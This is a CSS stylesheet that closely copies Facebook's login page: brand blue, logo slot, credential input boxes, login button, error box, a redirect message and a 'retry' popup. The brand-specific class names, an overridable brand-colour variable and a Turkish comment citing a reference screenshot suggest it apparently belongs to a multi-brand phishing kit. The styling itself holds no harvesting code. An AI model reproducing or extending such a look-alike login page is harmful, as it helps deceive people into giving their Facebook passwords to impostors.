*,
*::before,
*::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

:root {
  --fb-blue: #1877f2;
  --text-dark: #1c1e21;
  --text-muted: #65676b;
  --border: #ccd0d5;
  --error-bg: #fff0f0;
  --error-text: #b94a48;
}

html {
  -webkit-text-size-adjust: 100%;
}

body {
  min-height: 100dvh;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
  background: #fff;
  color: var(--text-dark);
}

.site-body--facebook {
  display: flex;
  justify-content: center;
}

.site-shell--facebook .site-main--facebook {
  width: 100%;
  padding: 0;
  display: flex;
  flex-direction: column;
  flex: 1;
}

.fb-wrap {
  flex: 1;
  display: flex;
  flex-direction: column;
}

.brand {
  display: flex;
  justify-content: center;
  margin-bottom: 48px;
}

.brand-logo--facebook {
  width: 60px;
  height: 60px;
  object-fit: contain;
  display: block;
}

.form-wrap {
  width: 100%;
  max-width: 360px;
  margin: 0 auto;
}

.error {
  background: var(--error-bg);
  color: var(--error-text);
  border: 1px solid #f5c6cb;
  border-radius: 8px;
  padding: 12px 14px;
  margin-bottom: 12px;
  font-size: 14px;
  line-height: 1.35;
  text-align: center;
}

.field {
  margin-bottom: 12px;
}

.input-box {
  width: 100%;
  height: 52px;
  border: 1px solid var(--border);
  border-radius: 12px;
  padding: 0 16px;
  font-size: 16px;
  color: var(--text-dark);
  background: #fff;
  outline: none;
  transition: border-color 0.15s ease;
}

.input-box::placeholder {
  color: #8a8d91;
}

.input-box:focus {
  border-color: var(--brand-color, var(--fb-blue));
}

.login-btn {
  width: 100%;
  height: 44px;
  margin-top: 4px;
  border: none;
  border-radius: 22px;
  background: var(--brand-color, var(--fb-blue));
  color: #fff;
  font-size: 17px;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.15s ease;
}

.login-btn:hover {
  background: #166fe5;
}

.login-btn:active {
  background: #1464d6;
}

.forgot {
  display: block;
  text-align: center;
  margin-top: 24px;
  color: var(--text-dark);
  text-decoration: none;
  font-size: 15px;
  font-weight: 500;
}

.forgot:hover {
  text-decoration: underline;
}

.redirect-page .redirect-text {
  text-align: center;
  color: var(--text-muted);
  font-size: 16px;
  margin-top: 24px;
}

@media (min-width: 768px) {
  body.site-body--facebook {
    background: #f0f2f5;
    align-items: center;
    padding: 24px 16px;
  }

  .site-shell--facebook {
    min-height: auto;
    background: #fff;
    border-radius: 8px;
    box-shadow: 0 2px 12px rgba(0, 0, 0, 0.12);
    padding: 20px 24px 32px;
  }

  .site-shell--facebook .site-lang {
    padding-top: 4px;
    padding-bottom: 24px;
  }

  .site-shell--facebook .brand {
    margin-bottom: 40px;
  }
}

@media (min-width: 1200px) {
  .site-shell--facebook {
    max-width: 396px;
  }
}

/* Popup — 6. görsel */
.fb-overlay {
  position: fixed;
  inset: 0;
  background: rgba(0, 0, 0, 0.45);
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 20px;
  z-index: 100;
}

.fb-popup {
  width: 100%;
  max-width: 320px;
  background: #fff;
  border-radius: 14px;
  overflow: hidden;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.24);
  text-align: center;
}

.fb-popup__title {
  font-size: 17px;
  font-weight: 700;
  padding: 22px 20px 8px;
  color: #1c1e21;
}

.fb-popup__text {
  font-size: 14px;
  color: #65676b;
  padding: 0 22px 18px;
  line-height: 1.4;
}

.fb-popup__btn {
  display: block;
  width: 100%;
  padding: 14px;
  border: none;
  border-top: 1px solid #e4e6eb;
  background: #fff;
  color: #1877f2;
  font-size: 16px;
  font-weight: 600;
  text-decoration: none;
  cursor: pointer;
}

.fb-popup__btn--retry {
  border-top: 1px solid #e4e6eb;
}
